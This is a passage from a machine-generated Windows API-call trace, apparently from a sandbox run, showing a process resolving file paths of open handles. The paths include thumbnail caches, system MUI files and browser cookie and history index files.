0x5b [0089.065] CloseHandle (hObject=0x114) returned 1 [0089.065] GetFileType (hFile=0x138) returned 0x1 [0089.065] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0089.067] CloseHandle (hObject=0x138) returned 1 [0089.067] GetFileType (hFile=0x114) returned 0x1 [0089.068] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0089.069] CloseHandle (hObject=0x114) returned 1 [0089.069] GetFileType (hFile=0x138) returned 0x1 [0089.070] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0089.072] CloseHandle (hObject=0x138) returned 1 [0089.072] GetFileType (hFile=0x114) returned 0x1 [0089.072] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0089.074] CloseHandle (hObject=0x114) returned 1 [0089.074] GetFileType (hFile=0x138) returned 0x1 [0089.075] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0089.077] CloseHandle (hObject=0x138) returned 1 [0089.077] GetFileType (hFile=0x114) returned 0x1 [0089.077] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\wdmaud.drv.mui") returned 0x2c [0089.078] CloseHandle (hObject=0x114) returned 1 [0089.079] GetFileType (hFile=0x138) returned 0x1 [0089.079] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\MMDevAPI.dll.mui") returned 0x2e [0089.080] CloseHandle (hObject=0x138) returned 1 [0089.081] GetFileType (hFile=0x114) returned 0x1 [0089.081] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\bthprops.cpl.mui") returned 0x2e [0089.082] CloseHandle (hObject=0x114) returned 1 [0089.082] GetFileType (hFile=0x138) returned 0x1 [0089.082] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0089.084] CloseHandle (hObject=0x138) returned 1 [0089.084] GetFileType (hFile=0x114) returned 0x1 [0089.084] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0089.085] CloseHandle (hObject=0x114) returned 1 [0089.086] GetFileType (hFile=0x138) returned 0x1 [0089.086] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\msutb.dll.mui") returned 0x2b [0089.087] CloseHandle (hObject=0x138) returned 1 [0089.087] GetFileType (hFile=0x114) returned 0x1 [0089.088] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\msctf.dll.mui") returned 0x2b [0089.090] CloseHandle (hObject=0x114) returned 1 [0089.090] GetFileType (hFile=0x138) returned 0x1 [0089.090] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0089.092] CloseHandle (hObject=0x138) returned 1 [0089.092] GetFileType (hFile=0x114) returned 0x1 [0089.092] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0089.095] CloseHandle (hObject=0x114) returned 1 [0089.095] GetFileType (hFile=0x138) returned 0x1 [0089.095] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0089.096] CloseHandle (hObject=0x138) returned 1 [0089.096] GetFileType (hFile=0x114) returned 0x1 [0089.097] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0089.099] CloseHandle (hObject=0x114) returned 1 [0089.099] GetFileType (hFile=0x138) returned 0x1 [0089.099] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0089.103] CloseHandle (hObject=0x138) returned 1 [0089.103] GetFileType (hFile=0x114) returned 0x1 [0089.103] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0089.106] CloseHandle (hObject=0x114) returned 1 [0089.107] GetFileType (hFile=0x138) returned 0x1 [0089.107] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0089.109] CloseHandle (hObject=0x138) returned 1 [0089.109] GetFileType (hFile=0x114) returned 0x1 [0089.109] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0089.111] CloseHandle (hObject=0x114) returned 1 [0089.111] GetFileType (hFile=0x138) returned 0x1 [0089.111] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0089.113] CloseHandle (hObject=0x138) returned 1 [0089.114] GetFileType (hFile=0x114) returned 0x1 [0089.114] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0089.116] CloseHandle (hObject=0x114) returned 1 [0089.116] GetFileType (hFile=0x138) returned 0x1 [0089.116] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0089.118] CloseHandle (hObject=0x138) returned 1 [0089.119] GetFileType (hFile=0x114) returned 0x1 [0089.119] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0089.121] CloseHandle (hObject=0x114) returned 1 [0089.121] GetFileType (hFile=0x138) returned 0x0 [0089.121] CloseHandle (hObject=0x138) returned 1 [0089.122] GetFileType (hFile=0x114) returned 0x1 [0089.122] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0089.123] CloseHandle (hObject=0x114) returned 1 [0089.123] GetFileType (hFile=0x138) returned 0x1 [0089.123] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts") returned 0x55 [0089.125] CloseHandle (hObject=0x138) returned 1 [0089.125] GetFileType (hFile=0x114) returned 0x1 [0089.126] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts") returned 0x55 [0089.127] CloseHandle (hObject=0x114) returned 1 [0089.128] GetFileType (hFile=0x138) returned 0x1 [0089.128] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0089.129] CloseHandle (hObject=0x138) returned 1 [0089.129] GetFileType (hFile=0x114) returned 0x1 [0089.129] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\netshell.dll.mui") returned 0x2e [0089.131] CloseHandle (hObject=0x114) returned 1 [0089.131] GetFileType (hFile=0x138) returned 0x1 [0089.131] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0089.134] CloseHandle (hObject=0x138) returned 1 [0089.134] GetFileType (hFile=0x114) returned 0x1 [0089.134] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0089.139] CloseHandle (hObject=0x114) returned 1 [0089.139] GetFileType (hFile=0x138) returned 0x0 [0089.140] CloseHandle (hObject=0x138) returned 1 [0089.140] GetFileType (hFile=0x114) returned 0x1 [0089.140] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0089.142] CloseHandle (hObject=0x114) returned 1 [0089.142] GetFileType (hFile=0x138) returned 0x1 [0089.142] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\KernelBase.dll.mui") returned 0x30 [0089.144] CloseHandle (hObject=0x138) returned 1 [0089.144] GetFileType (hFile=0x114) returned 0x1 [0089.144] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0089.145] CloseHandle (hObject=0x114) returned 1 [0089.145] GetFileType (hFile=0x138) returned 0x1 [0089.146] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0089.147] CloseHandle (hObject=0x138) returned 1 [0089.147] GetFileType (hFile=0x114) returned 0x1 [0089.147] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0089.148] CloseHandle (hObject=0x114) returned 1 [0089.148] GetFileType (hFile=0x138) returned 0x1 [0089.149] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0089.150] CloseHandle (hObject=0x138) returned 1 [0089.150] GetFileType (hFile=0x114) returned 0x1 [0089.150] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0089.152] CloseHandle (hObject=0x114) returned 1 [0089.152] GetFileType (hFile=0x138) returned 0x1 [0089.152] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_08e61857a83bc251") returned 0x64 [0089.153] CloseHandle (hObject=0x138) returned 1 [0089.154] GetFileType (hFile=0x114) returned 0x1 [0089.154] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt") returned 0x4b [0089.156] CloseHandle (hObject=0x114) returned 1 [0089.156] GetFileType (hFile=0x138) returned 0x1 [0089.156] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0089.158] CloseHandle (hObject=0x138) returned 1 [0089.158] GetFileType (hFile=0x114) returned 0x1 [0089.158] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat") returned 0x70 [0089.160] CloseHandle (hObject=0x114) returned 1 [0089.161] GetFileType (hFile=0x138) returned 0x1 [0089.161] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0089.162] CloseHandle (hObject=0x138) returned 1 [0089.162] GetFileType (hFile=0x114) returned 0x0 [0089.162] CloseHandle (hObject=0x114) returned 1 [0089.162] GetFileType (hFile=0x138) returned 0x1 [0089.163] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\ActionCenter.dll.mui") returned 0x32 [0089.164] CloseHandle (hObject=0x138) returned 1 [0089.164] GetFileType (hFile=0x114) returned 0x1 [0089.164] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0089.166] CloseHandle (hObject=0x114) returned 1 [0089.166] GetFileType (hFile=0x138) returned 0x3 [0089.166] CloseHandle (hObject=0x138) returned 1 [0089.167] GetFileType (hFile=0x114) returned 0x3 [0089.167] CloseHandle (hObject=0x114) returned 1 [0089.167] GetFileType (hFile=0x138) returned 0x1 [0089.167] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0089.169] CloseHandle (hObject=0x138) returned 1 [0089.169] GetFileType (hFile=0x114) returned 0x1 [0089.170] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0089.172] CloseHandle (hObject=0x114) returned 1 [0089.172] GetFileType (hFile=0x138) returned 0x1 [0089.172] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0089.175] CloseHandle (hObject=0x138) returned 1 [0089.175] GetFileType (hFile=0x114) returned 0x1 [0089.175] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0089.177] CloseHandle (hObject=0x114) returned 1 [0089.177] GetFileType (hFile=0x138) returned 0x1 [0089.177] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0089.180] CloseHandle (hObject=0x138) returned 1 [0089.180] GetFileType (hFile=0x114) returned 0x1 [0089.180] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0089.182] CloseHandle (hObject=0x114) returned 1 [0089.183] GetFileType (hFile=0x138) returned 0x1 [0089.183] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0089.185] CloseHandle (hObject=0x138) returned 1 [0089.185] GetFileType (hFile=0x114) returned 0x1 [0089.185] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0089.187] CloseHandle (hObject=0x114) returned 1 [0089.187] GetFileType (hFile=0x138) returned 0x1 [0089.187] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0089.189] CloseHandle (hObject=0x138) returned 1 [0089.189] GetFileType (hFile=0x114) returned 0x1 [0089.189] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0089.191] CloseHandle (hObject=0x114) returned 1 [0089.192] GetFileType (hFile=0x138) returned 0x1 [0089.192] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0089.194] CloseHandle (hObject=0x138) returned 1 [0089.194] GetFileType (hFile=0x114) returned 0x3 [0089.194] CloseHandle (hObject=0x114) returned 1 [0089.194] GetFileType (hFile=0x138) returned 0x1 [0089.195] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0089.196] CloseHandle (hObject=0x138) returned 1 [0089.197] GetFileType (hFile=0x114) returned 0x1 [0089.197] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat") returned 0x55 [0089.200] CloseHandle (hObject=0x114) returned 1 [0089.200] GetFileType (hFile=0x138) returned 0x1 [0089.200] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat") returned 0x5f [0089.203] CloseHandle (hObject=0x138) returned 1 [0089.203] GetFileType (hFile=0x114) returned 0x1 [0089.203] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012020022120200222\\index.dat") returned 0x78 [0089.206] CloseHandle (hObject=0x114) returned 1 [0089.206] GetFileType (hFile=0x138) returned 0x1 [0089.206] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32") returned 0x17 [0089.208] CloseHandle (hObject=0x138) returned 1 [0089.208] GetFileType (hFile=0x114) returned 0x0 [0089.208] CloseHandle (hObject=0x114) returned 1 [0089.208] GetFileType (hFile=0x138) returned 0x0 [0089.208] CloseHandle (hObject=0x138) returned 1 [0089.208] GetFileType (hFile=0x114) returned 0x1 [0089.208] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\KernelBase.dll.mui") returned 0x30 [0089.210] CloseHandle (hObject=0x114) returned 1 [0089.210] GetFileType (hFile=0x138) returned 0x1 [0089.210] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\msutb.dll.mui") returned 0x2b [0089.212] CloseHandle (hObject=0x138) returned 1 [0089.212] GetFileType (hFile=0x114) returned 0x1 [0089.212] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32") returned 0x17 [0089.214] CloseHandle (hObject=0x114) returned 1 [0089.214] GetFileType (hFile=0x138) returned 0x0 [0089.214] CloseHandle (hObject=0x138) returned 1 [0089.214] GetFileType (hFile=0x114) returned 0x1 [0089.214] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.215] CloseHandle (hObject=0x114) returned 1 [0089.216] GetFileType (hFile=0x138) returned 0x1 [0089.216] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Journal") returned 0x24 [0089.217] CloseHandle (hObject=0x138) returned 1 [0089.217] GetFileType (hFile=0x114) returned 0x1 [0089.217] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.218] CloseHandle (hObject=0x114) returned 1 [0089.218] GetFileType (hFile=0x138) returned 0x1 [0089.218] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Uninstall Information") returned 0x2a [0089.219] CloseHandle (hObject=0x138) returned 1 [0089.219] GetFileType (hFile=0x114) returned 0x1 [0089.219] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.220] CloseHandle (hObject=0x114) returned 1 [0089.221] GetFileType (hFile=0x138) returned 0x1 [0089.221] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Sidebar") returned 0x24 [0089.222] CloseHandle (hObject=0x138) returned 1 [0089.222] GetFileType (hFile=0x114) returned 0x1 [0089.222] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.223] CloseHandle (hObject=0x114) returned 1 [0089.224] GetFileType (hFile=0x138) returned 0x1 [0089.224] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Sidebar") returned 0x24 [0089.224] CloseHandle (hObject=0x138) returned 1 [0089.225] GetFileType (hFile=0x114) returned 0x1 [0089.225] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0089.226] CloseHandle (hObject=0x114) returned 1 [0089.226] GetFileType (hFile=0x138) returned 0x1 [0089.226] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x6575870, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\MSBuild") returned 0x1c 